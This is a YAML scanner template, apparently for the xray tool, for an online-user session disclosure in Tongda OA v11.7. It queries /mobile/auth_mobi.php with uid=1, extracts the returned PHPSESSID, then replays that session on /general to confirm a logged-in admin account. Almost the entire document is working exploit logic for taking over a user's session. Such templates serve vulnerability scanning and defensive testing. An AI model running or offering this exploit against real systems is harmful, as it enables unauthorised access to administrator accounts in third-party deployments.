tongda-online-user-session-disclosure-login: 通达OA Online User Session Disclosure and Login

id: tongda-online-user-session-disclosure-login

info:
    name: 通达OA Online User Session Disclosure and Login
    author: kzaopa(https://github.com/kzaopa)
    severity: high
    verified: true
    description: |
        通达OA v11.7 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统
    reference:
        - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html
        - https://www.cnblogs.com/T0uch/p/14475551.html
        - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/

rules:
    r0:
        request:
            method: GET
            path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
        expression: response.status == 200 && !response.body.bcontains(b'RELOGIN') && response.headers["set-cookie"].icontains("PHPSESSID=")
        output:
            search: '"Set-Cookie: PHPSESSID=(?P<phpsessid>.*?)\n".bsubmatch(response.raw_header)'
            phpsessid: search["phpsessid"]
    r1:
        request:
            method: GET
            path: /general
            headers:
                Cookie: PHPSESSID={{phpsessid}}
            follow_redirects: true
        expression: response.status == 200 && response.body.bcontains(b'loginUser') && response.body.bcontains(b'uid:1') && response.body.bcontains(b'user_id:') && response.body.bcontains(b'user_name:')
        stop_if_match: true

    r00:
        request:
            method: GET
            path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0
        expression: response.body.bcontains(b'RELOGIN') && response.status == 200
expression: (r0() && r1()) || r00()